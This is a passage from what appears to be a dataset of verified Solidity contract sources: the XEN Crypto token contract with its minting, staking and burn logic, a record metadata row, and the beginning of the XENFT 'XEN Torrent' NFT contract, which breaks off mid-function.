"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
d202b1bf430a94070413e4f1e2215c4f63fd7a54
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n 